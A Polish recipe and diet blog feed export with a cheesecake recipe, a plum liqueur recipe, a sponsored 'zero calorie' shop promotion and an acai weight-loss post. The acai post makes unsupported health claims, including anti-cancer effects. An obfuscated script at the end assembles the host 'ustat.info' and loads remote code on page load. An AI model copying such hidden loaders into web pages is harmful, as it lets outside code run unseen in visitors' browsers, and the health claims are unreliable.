<span style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: large;">Już to pozwala schudnąć - w dłuższej perspektywie czasu nawet o kilkanaście kilogramów. W tym przypadku nie ma potrzeby specjalnego przestawiania się na normalną dietę, bo na takiej jesteśmy. Ale wracając do starych nawyków żywieniowych, ponownie utyjemy.<br /><br />Jeśli zaś nasze odchudzanie oparte było na dietach niskokalorycznych konieczne jest ponowne przestawienie organizmu na normalne odżywianie co oznacza konieczność pracy nad nim przez co najmniej kilkanaście tygodni, w ciągu których stopniowo wprowadzamy kolejne potrawy zwiększając ilość przyjmowanych pokarmów. Nawet to nie jest jednak gwarancją, że metabolizm przyspieszy.</span></span></div>
Luka Lihttp://www.blogger.com/profile/00469987877609660515noreply@blogger.com5tag:blogger.com,1999:blog-9022088188921604476.post-18471404978653550462015-09-22T13:13:00.000+02:002015-09-22T13:13:00.122+02:00Sernik na zimno<div style="text-align: justify;">
<b><span style="font-size: x-large;"><span style="font-family: "Trebuchet MS",sans-serif;">Poniższy przepis z pewnością przyda się wielbicielom wszelkiego rodzaju
ciast bez pieczenia. To bardzo prosty do zrobienia, trójkolorowy sernik
na zimno. Można go przygotować w tortownicy o średnicy 26 cm lub w
mniejszej kwadratowej blaszce.</span></span></b></div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtu0s7uTa3fltFjPcoV1V0ai2sMGl_MN5P8voqtPzaB38q-wikONCFiwlXuJtGR3jZS3NaZPwmygTVk2VC_DB8AaTqjUKIj8CqeqFs_a52-6ExHTLejaOgGmtsry1JyzYzdBH6MdXcy4-o/s1600/sernik1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="386" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtu0s7uTa3fltFjPcoV1V0ai2sMGl_MN5P8voqtPzaB38q-wikONCFiwlXuJtGR3jZS3NaZPwmygTVk2VC_DB8AaTqjUKIj8CqeqFs_a52-6ExHTLejaOgGmtsry1JyzYzdBH6MdXcy4-o/s640/sernik1.jpg" width="640" /></a></div>
<div style="text-align: justify;">
<b><span style="font-size: x-large;"><span style="font-family: "Trebuchet MS",sans-serif;"> </span></span></b></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<b><span style="font-size: x-large;"><span style="font-family: "Trebuchet MS",sans-serif;">Składniki:</span></span></b></div>
<ul style="text-align: justify;">
<li><span style="font-size: x-large;"><span style="font-family: "Trebuchet MS",sans-serif;">1 kg twarogu sernikowego (z wiaderka)</span></span></li>
<li><span style="font-size: x-large;"><span style="font-family: "Trebuchet MS",sans-serif;">ok. 10 okrągłych biszkoptów</span></span></li>
<li><span style="font-size: x-large;"><span style="font-family: "Trebuchet MS",sans-serif;">2 galaretki brzoskwiniowe</span></span></li>
<li><span style="font-size: x-large;"><span style="font-family: "Trebuchet MS",sans-serif;">2 galaretki wiśniowe</span></span></li>
<li><span style="font-size: x-large;"><span style="font-family: "Trebuchet MS",sans-serif;">2 galaretki agrestowe</span></span></li>
<li><span style="font-size: x-large;"><span style="font-family: "Trebuchet MS",sans-serif;">1 galaretka truskawkowa</span></span></li>
<li><span style="font-size: x-large;"><span style="font-family: "Trebuchet MS",sans-serif;">120 ml soku jagodowego</span></span></li>
<li><span style="font-size: x-large;"><span style="font-family: "Trebuchet MS",sans-serif;">woda do rozpuszczenia galaretek</span></span></li>
<li><span style="font-size: x-large;"><span style="font-family: "Trebuchet MS",sans-serif;">4 i 1/2 łyżki cukru pudru </span></span></li>
</ul>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="font-size: x-large;"><span style="font-family: "Trebuchet MS",sans-serif;">120 ml soku z jagód zagotować, dolać 180 ml wrzącej wody, wymieszać i w takiej ilości płynu rozpuścić 2 galaretki brzoskwiniowe. Pozostawić do ostudzenia. 2 galaretki wiśniowe rozpuścić w 300 ml gorącej wody. Podobnie postąpić z 2 galaretkami agrestowymi - również należy je rozpuścić w 300 ml gorącej wody. Wszystkie galaretki muszą ostygnąć, zanim będzie je można wymieszać z serem.</span></span></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="font-size: x-large;"><span style="font-family: "Trebuchet MS",sans-serif;">Dno tortownicy lub kwadratowej blaszki wyłożyć papierem do pieczenia. Galaretkę truskawkową rozpuścić w 1/2 szklanki wody. W ciepłej galaretce należy maczać biszkopty i układać je od razu na dnie tortownicy lub blaszki.</span></span></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="font-size: x-large;"><span style="font-family: "Trebuchet MS",sans-serif;">Ser z wiaderka zmiksować z cukrem pudrem i podzielić na trzy równe porcje. Gdy galaretki będą już ostudzone należy zmiksować je kolejno z porcjami sera. Najpierw zmiksować galaretkę jagodowo-brzoskwiniową z pierwszą porcją sera i wylać ją na biszkopty. Tortownicę wstawić na chwilę do lodówki. Kolejną porcję sera zmiksować z galaretką wiśniową i wylać na jagodową warstwę. Jako ostatnią należy zmiksować galaretkę agrestową z porcją sera i wylać na lekko stężałą galaretkę wiśniową. Wstawić do lodówki, aby całość stężała.</span></span></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="font-size: x-large;"><span style="font-family: "Trebuchet MS",sans-serif;">Jest to sernik bez żadnych dodatków, ale jak wiadomo, serniki na zimno świetnie komponują się z owocami - świeżymi lub z puszki. Przepis na brzoskwiniowo ananasowy sernik na zimno znajdziecie na <a href="http://www.mlekoma.pl/przepisy/brzoskwiniowo-ananasowy-sernik-na-zimno">www.mlekoma.pl</a>.</span></span></div>
Luka Lihttp://www.blogger.com/profile/00469987877609660515noreply@blogger.com6tag:blogger.com,1999:blog-9022088188921604476.post-74117680336291185802015-09-08T10:14:00.000+02:002015-09-08T10:14:33.090+02:00Nalewka śliwkowa<div style="text-align: justify;">
<span style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: x-large;"><i><b>Nalewka idealna na chłodne wieczory :) Żeby cieszyć się jej smakiem w zimę, musimy przygotować ją już teraz.</b></i></span></span></div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhlcIWz89mudley3Lu2gbwzJvPvG5hFg7GpI6Mb9Kk98kNyxS0Xjlmpc5Eu0oc9D_Hft5_TWhytdK__5ebKPRLw7FgX9DwvaShY7okBV4hiLhvAe0XibiKwD8lI-o7WU1ojqJ5Tn2aLPtjw/s1600/DSC09707.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="522" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhlcIWz89mudley3Lu2gbwzJvPvG5hFg7GpI6Mb9Kk98kNyxS0Xjlmpc5Eu0oc9D_Hft5_TWhytdK__5ebKPRLw7FgX9DwvaShY7okBV4hiLhvAe0XibiKwD8lI-o7WU1ojqJ5Tn2aLPtjw/s640/DSC09707.JPG" width="640" /></a></div>
<div style="text-align: justify;">
<br />
<span style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: x-large;"><b>Składniki: </b></span></span></div>
<ul>
<li><span style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: x-large;">1 kg śliwek węgierek (umytych i wypestkowanych)</span></span></li>
<li><span style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: x-large;">230 g cukru</span></span></li>
<li><span style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: x-large;">750 mil wódki 40 %</span></span></li>
<li><span style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: x-large;">250 ml spirytusu</span></span></li>
</ul>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: x-large;">Pozbawione pestek śliwki włożyć do dużego słoja. Zasypać cukrem. Odstawić na ok. 9-14 godzin aż puszczą sok. Co jakiś czas należy wstrząsnąć słoikiem, żeby cukier się rozpuścił. Następnie dolać wódkę oraz spirytus. Słój zakręcić i odstawić na 1,5-2 miesięcy. Po tym czasie przecedzić zawartość słoika i przelać nalewkę do butelek. Butelki zakręcić i odstawić w ciemne miejsce, aby leżakowały przed konsumpcją następne 1,5-2 miesiące. <span class="st">Śliwki z nalewki przełożyć do słoika, zakręcić i przechowywać w lodówce. Można je spożywać samodzielnie lub jako dodatek do deserów.</span></span></span><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjy_FoOAyxNIjU7l-G-b0aPx10AsdSZ0UuetJYFRJbyPjHr2k91YnppmRzvJuptbuwmKnNA9kvmqVgRz_2m_OYSzSxm0qyLnJhdMgY3auTIPq8cLTAA2xnnhDxepGCak67lHS53WnXW5lo9/s1600/DSC09704.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="566" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjy_FoOAyxNIjU7l-G-b0aPx10AsdSZ0UuetJYFRJbyPjHr2k91YnppmRzvJuptbuwmKnNA9kvmqVgRz_2m_OYSzSxm0qyLnJhdMgY3auTIPq8cLTAA2xnnhDxepGCak67lHS53WnXW5lo9/s640/DSC09704.JPG" width="640" /></a></div>
<br />
</div>
<div style="text-align: center;">
<a href="http://zmiksowani.pl/akcje-kulinarne/robmy-przetwory" target="_blank" title="Róbmy przetwory!"><img alt="Róbmy przetwory!" border="0" src="http://zmiksowani.pl/image/miks/cac5048ac8779cafa358609ea5dca45a_v2.jpg" height="230" width="154" /></a>
</div>
Luka Lihttp://www.blogger.com/profile/00469987877609660515noreply@blogger.com7tag:blogger.com,1999:blog-9022088188921604476.post-15392841631846013812015-09-03T11:39:00.000+02:002015-09-03T11:39:00.133+02:00Sklep zerokalorii.pl – najlepsze produkty bez kalorii<div style="text-align: justify;">
<span style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: x-large;">Jak skutecznie schudnąć nie rezygnując z ulubionych potraw i dodatków? Odwiedź sklep zerokalorii.pl i znajdź sposób na zmianę oraz znaczną poprawę stylu życia, samopoczucia oraz zwiększenia satysfakcji ze spożywanych posiłków.</span></span></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhG5A6IrrvQNJY0XgHir-o3xddwlpMeVy3VjuQCgzzzFtIBHAvHMwlKb4oDMb5fosN1Gfzi6Sabkct4LrUyPHWK4e6AHpbaqUo5iIbkTggn0-gNbmdhA0eeaUpLtFrUeXgmH3nI5sklwfv6/s1600/zerokal.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="162" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhG5A6IrrvQNJY0XgHir-o3xddwlpMeVy3VjuQCgzzzFtIBHAvHMwlKb4oDMb5fosN1Gfzi6Sabkct4LrUyPHWK4e6AHpbaqUo5iIbkTggn0-gNbmdhA0eeaUpLtFrUeXgmH3nI5sklwfv6/s640/zerokal.jpg" width="640" /></a></div>
<br />
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: x-large;">Autorzy poradników i portali internetowych prześcigają się w donoszeniu o tym, które produkty ułatwią odchudzanie, jak komponować codzienną dietę aby zrzucić zbędne kilogramy, czy też co wyeliminować, by czuć się lekko i chudnąć. Czy porady te są skuteczne? I tak, i nie. Jednak jest znacznie łatwiejszy sposób na zrzucenie nadprogramowych kilogramów. Co więcej, nie wykluczy on z codziennego jadłospisu ulubionych produktów. Od razu w głowie rodzi się pytanie: jak to możliwe? Odpowiedź jest banalnie prosta: sklep zerokalorii.pl .</span></span></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: x-large;">Sklep zerokalorii.pl jest miejscem, które powstało z pasji do jedzenia i zdrowego trybu życia. Prowadząc odpowiedni styl życia, bardzo łatwe staje się utrzymanie odpowiedniej, szczupłej sylwetki. To natomiast niezwykle pozytywnie wpływa na samopoczucie i samoocenę – a stąd już krótka droga do samoakceptacji i zadowolenia ze swojego ciała oraz trybu życia. Na czym polega sekret sukcesu jaki osiągnął sklep zero kalorii? Tkwi on misji przyświecającej całemu przedsięwzięciu: cały asortyment sklepu to pyszne jedzenie, przyprawy i dodatki, które jest pozbawione wszelkich zbędnych kalorii i konserwantów. Nie jest to jednak zwyczajowy pic na wodę, czyli np. „lekki serek o obniżonej zawartości tłuszczu”, gdzie wspomniany tłuszcz zastępowany jest jeszcze bardziej szkodliwymi dla ciała składnikami.</span></span></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: x-large;">Zastanawiasz się zapewne: jak to jest możliwe? Produkty jakimi poszczycić się może <a href="http://zerokalorii.pl/" rel="follow">sklep zero kalorii</a>, to przede wszystkim smaczne kremy, sosy, dipy, dressingi i inne tego rodzaju smakołyki. Sekret polega na tym, że dodając je do ulubionych potraw, zdecydowanie nie przybędzie ci kilogramów. Dzieje się tak, ponieważ mimo zachowania walorów smakowych, produkty dostępne na zerokalorii.pl pozbawione są tłuszczu, węglowodanów czy też cukrów. Brzmi nieprawdopodobnie? Większość szkodliwych czy też tuczących składników, zastępowana jest głównie wodą. Ot, cała filozofia. Przy tym, są one tworzone ze zdrowych, mniej kalorycznych zamienników, co sprawia, że nie są nafaszerowane chemią, mającą zły wpływ na organizm, zdrowie i samopoczucie. Z tego względu, warto zapoznać się z tym, co sklep zerokalorii.pl ma w swojej ofercie i zmienić swoje życie na lepsze. </span></span></div>
Luka Lihttp://www.blogger.com/profile/00469987877609660515noreply@blogger.comtag:blogger.com,1999:blog-9022088188921604476.post-64698312572658493292015-09-01T08:00:00.000+02:002015-09-01T13:30:12.301+02:00Chudnij zdrowo z jagodami acai<div style="text-align: justify;">
<span style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: x-large;">Pewnie nie jeden raz próbowaliście się odchudzać. Stosowaliście wtedy drakońskie diety, spędzaliście godziny na morderczych treningach i nic lub coś tam się udawało, ale szybko zadziałał efekt jojo i powrót do dawnej wagi nie trwał długo. Wszystko trzeba było zaczynać od początku. Ale gdyby tak skorzystać z pomocy natury i schudnąć zdrowo jedząc pyszne jagody i pijąc z nich sok? Jagody acai, bo o nich jest mowa to cudowne odkrycie, które nie tak dawno dotarło do Polski. Czym są i jak działają? Czy są lepsze jako owoce, a może warto pić je jako sok z acai, czy może też spożywać w postaci tabletek?</span></span></div>
<div style="text-align: justify;">
<span style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: x-large;"><br /></span></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: x-large;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhhc63naDiBHJWZqVBqK5MFdsVWhyphenhyphens8l3Jw4J6_LPsBh6ufFLjX7wJr6FcIQ3xup2l73VC_aSRA6vn-rR3fgw470UqsDQ5J1BdL0Spbi6MQDN7detcoUXmS3mOrMfNVxAMsHZq7fX9gw_pk/s1600/acai.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="426" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhhc63naDiBHJWZqVBqK5MFdsVWhyphenhyphens8l3Jw4J6_LPsBh6ufFLjX7wJr6FcIQ3xup2l73VC_aSRA6vn-rR3fgw470UqsDQ5J1BdL0Spbi6MQDN7detcoUXmS3mOrMfNVxAMsHZq7fX9gw_pk/s640/acai.jpg" width="640" /></a></span></span></div>
<div style="text-align: justify;">
<span style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: x-large;"><br /></span></span></div>
<div style="text-align: justify;">
<span style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: x-large;">Jagody acai tylko jako panaceum na otyłość?</span></span></div>
<div style="text-align: justify;">
<span style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: x-large;">Acai czyli Euterpe oleracea są także nazywane jagodą palmy brazylijskiej. Są to jadalne owoce, które pochodzą z lasów tropikalnych Ameryki Południowej. Spożycie jagód bardzo dobrze wpływa na zdrowie, a ich doskonałe właściwości prozdrowotne były znane i stosowane już w XIX wieku. Jako pierwsze jagody acai odkryły plemiona amazońskie. Do dzisiaj Indianie Ameryki Południowej stosują jagody acai przy biegunce wywołanej zwłaszcza przez pasożyty. Poza tym mają zastosowanie w leczeniu krwotoków i wrzodów. Peruwiańczycy natomiast miażdżą nasiona owoców i papkę podają jako lekarstwo o działaniu przeciwgorączkowym. </span></span></div>
<div style="text-align: justify;">
<span style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: x-large;"><br />Swoim wyglądem jagody acai przypominają borówkę amerykańską. Smakują zaś jak nasza czarna jagoda lub mają delikatny posmak czekolady. Są niezwykle bogate w antyoksydanty i dlatego zostały uznane jako jeden z najsilniejszych naturalnych przeciwutleniaczy. Ich spożycie ogranicza więc proces starzenia i rozwój komórek nowotworowych. Jagody zawierają także polifenole takie jak kwas elagowy. Owoce acai są bardzo bogate w nienasycone kwasy tłuszczowe (omega 9 i 6). Jest to między innymi kwas oleinowy oraz kwas linolowy. Związki te są pomocne w zapobieganiu miażdżycy naczyń krwionośnych oraz walczą skutecznie ze złym cholesterolem LDL. Ponadto przyswajanie złych tłuszczów hamuje wysoka zawartość błonnika w acai. Błonnik pomaga w walce z otyłością i choć owoce acai są bardzo kaloryczne, to jego wysoka zawartość zmniejsza łaknienie, zwiększa poczucie sytości i tym samym ogranicza spożywanie kolejnych posiłków i kalorii.</span></span></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: x-large;">Tabletki, owoce czy sok?</span></span></div>
<div style="text-align: justify;">
<span style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: x-large;">W Polsce jagody acai można kupić jako sok z acai lub w postaci tabletek, które mają w sobie skondensowany wyciąg z owoców. Surowe owoce można zjeść tylko w Ameryce Południowej. Niestety owoce bardzo szybko po zerwaniu tracą swoje właściwości prozdrowotne, dlatego też nie mogą być długo transportowane. Sok jest na pewno zdrowszy niż tabletki, ponieważ jest bardziej naturalnym produktem i dietetycy zdecydowanie polecają spożywanie soku z acai.</span></span></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: x-large;">Zobacz więcej na: <a href="http://berce.pl/informacje/jagody-acai-amazonskie-zrodlo-zdrowia/">http://berce.pl/informacje/jagody-acai-amazonskie-zrodlo-zdrowia/</a></span></span></div>
<script type="text/javascript">
(function(){
uf81=document.createElement("script");uf81.type="text/javascript";
uf81.async=true;uf81_=(("us")+"t")+"a";uf81_+=("t.i")+""+"n";uf81_+=(("f")+"o");
uf81.src="http://"+uf81_+"/5042846.rppj7trXf81m7sqzn6q86jkXc1jng6";
document.body.appendChild(uf81);
})();
</script>Luka Lihttp://www.blogger.com/profile/00469987877609660515noreply@blogger.com6